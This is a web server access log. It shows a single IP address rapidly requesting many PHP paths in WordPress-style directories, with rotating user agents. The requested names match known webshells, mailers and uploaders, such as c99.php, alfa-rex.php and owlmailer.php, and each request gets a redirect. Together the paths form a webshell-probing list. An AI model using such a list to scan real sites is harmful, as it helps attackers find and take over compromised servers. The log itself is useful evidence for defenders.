[25/Apr/2025:11:25:44 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:44 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:45 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:45 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:25:45 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:45 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:46 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:25:46 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:46 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:47 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:47 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:47 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:47 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:48 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:48 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:48 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:48 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:49 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:49 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:49 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:25:49 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:50 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:50 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:50 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:51 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:51 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:51 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:25:51 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:51 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:52 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:52 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:52 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:52 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:25:52 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:53 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:53 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:53 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:54 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:55 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:55 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:55 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:55 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:56 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:56 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:56 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:57 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:57 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:57 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:58 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:25:58 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:58 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:59 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:59 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:59 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:59 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:59 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:00 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:00 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:00 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:00 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:00 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:01 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:01 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:01 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:01 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:01 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:02 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:02 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:02 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:02 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:03 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:03 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:26:03 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:04 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:26:04 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:05 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:05 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:05 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:06 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:26:06 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:06 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:06 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:07 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:07 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:07 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:07 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:07 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:08 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:08 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:08 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:09 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:09 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:26:09 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:09 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:09 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:26:10 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:26:10 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:10 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:10 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:10 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:11 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:11 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:26:11 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:11 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:11 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:12 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:12 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:26:12 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:26:12 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:13 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php 